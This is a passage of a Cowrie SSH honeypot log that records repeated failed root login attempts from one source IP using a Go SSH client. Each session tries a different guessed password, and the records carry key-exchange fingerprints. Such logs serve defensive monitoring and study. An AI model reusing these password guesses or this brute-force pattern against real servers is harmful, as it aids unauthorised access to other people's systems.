{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:11.668040Z","src_ip":"60.165.124.241","session":"d50eff5c1917","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39720,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab95d80a8d41","protocol":"ssh","message":"New connection: 60.165.124.241:39720 (10.17.0.5:22) [session: ab95d80a8d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:11.897856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:11.903172Z","src_ip":"60.165.124.241","session":"ab95d80a8d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:12.139340Z","src_ip":"60.165.124.241","session":"ab95d80a8d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jyb-2025","message":"login attempt [root/jyb-2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:12.853173Z","src_ip":"60.165.124.241","session":"ab95d80a8d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:14.093117Z","src_ip":"60.165.124.241","session":"ab95d80a8d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42732,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca5061521f4","protocol":"ssh","message":"New connection: 60.165.124.241:42732 (10.17.0.5:22) [session: 2ca5061521f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:14.325827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:14.330938Z","src_ip":"60.165.124.241","session":"2ca5061521f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:14.572002Z","src_ip":"60.165.124.241","session":"2ca5061521f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123*","message":"login attempt [root/Admin123*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:15.291919Z","src_ip":"60.165.124.241","session":"2ca5061521f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:16.531944Z","src_ip":"60.165.124.241","session":"2ca5061521f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdb576420a70","protocol":"ssh","message":"New connection: 60.165.124.241:45792 (10.17.0.5:22) [session: cdb576420a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:16.770963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:16.776346Z","src_ip":"60.165.124.241","session":"cdb576420a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:17.016363Z","src_ip":"60.165.124.241","session":"cdb576420a70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Aa123456","message":"login attempt [root/!Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:17.742037Z","src_ip":"60.165.124.241","session":"cdb576420a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:18.985491Z","src_ip":"60.165.124.241","session":"cdb576420a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48906,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b3da38ab29","protocol":"ssh","message":"New connection: 60.165.124.241:48906 (10.17.0.5:22) [session: b2b3da38ab29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:19.216328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:19.221207Z","src_ip":"60.165.124.241","session":"b2b3da38ab29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:19.458214Z","src_ip":"60.165.124.241","session":"b2b3da38ab29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mudar","message":"login attempt [root/mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:20.178422Z","src_ip":"60.165.124.241","session":"b2b3da38ab29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:21.419733Z","src_ip":"60.165.124.241","session":"b2b3da38ab29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52040,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3244880aaf5","protocol":"ssh","message":"New connection: 60.165.124.241:52040 (10.17.0.5:22) [session: c3244880aaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:21.651708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:21.656914Z","src_ip":"60.165.124.241","session":"c3244880aaf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:21.893609Z","src_ip":"60.165.124.241","session":"c3244880aaf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux1234","message":"login attempt [root/linux1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:22.610379Z","src_ip":"60.165.124.241","session":"c3244880aaf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:23.849920Z","src_ip":"60.165.124.241","session":"c3244880aaf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54758,"dst_ip":"10.17.0.5","dst_port":22,"session":"964289943399","protocol":"ssh","message":"New connection: 60.165.124.241:54758 (10.17.0.5:22) [session: 964289943399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:24.083254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:24.087675Z","src_ip":"60.165.124.241","session":"964289943399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:24.324122Z","src_ip":"60.165.124.241","session":"964289943399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@102112","message":"login attempt [root/Admin@102112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:25.050189Z","src_ip":"60.165.124.241","session":"964289943399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:26.292562Z","src_ip":"60.165.124.241","session":"964289943399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57912,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4e40da7d08b","protocol":"ssh","message":"New connection: 60.165.124.241:57912 (10.17.0.5:22) [session: d4e40da7d08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:26.525843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:26.530591Z","src_ip":"60.165.124.241","session":"d4e40da7d08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:26.767847Z","src_ip":"60.165.124.241","session":"d4e40da7d08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2glehe5t24th1issZs","message":"login attempt [root/2glehe5t24th1issZs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:27.485272Z","src_ip":"60.165.124.241","session":"d4e40da7d08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:28.725428Z","src_ip":"60.165.124.241","session":"d4e40da7d08b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60908,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9126bf6a11b","protocol":"ssh","message":"New connection: 60.165.124.241:60908 (10.17.0.5:22) [session: f9126bf6a11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:28.983212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:28.987978Z","src_ip":"60.165.124.241","session":"f9126bf6a11b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:29.240311Z","src_ip":"60.165.124.241","session":"f9126bf6a11b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin12345!","message":"login attempt [root/Admin12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:29.995214Z","src_ip":"60.165.124.241","session":"f9126bf6a11b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:31.248322Z","src_ip":"60.165.124.241","session":"f9126bf6a11b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36152,"dst_ip":"10.17.0.5","dst_port":22,"session":"d70cf4fe40f4","protocol":"ssh","message":"New connection: 60.165.124.241:36152 (10.17.0.5:22) [session: d70cf4fe40f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:31.473912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:09:31.478953Z","src_ip":"60.165.124.241","session":"d70cf4fe40f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh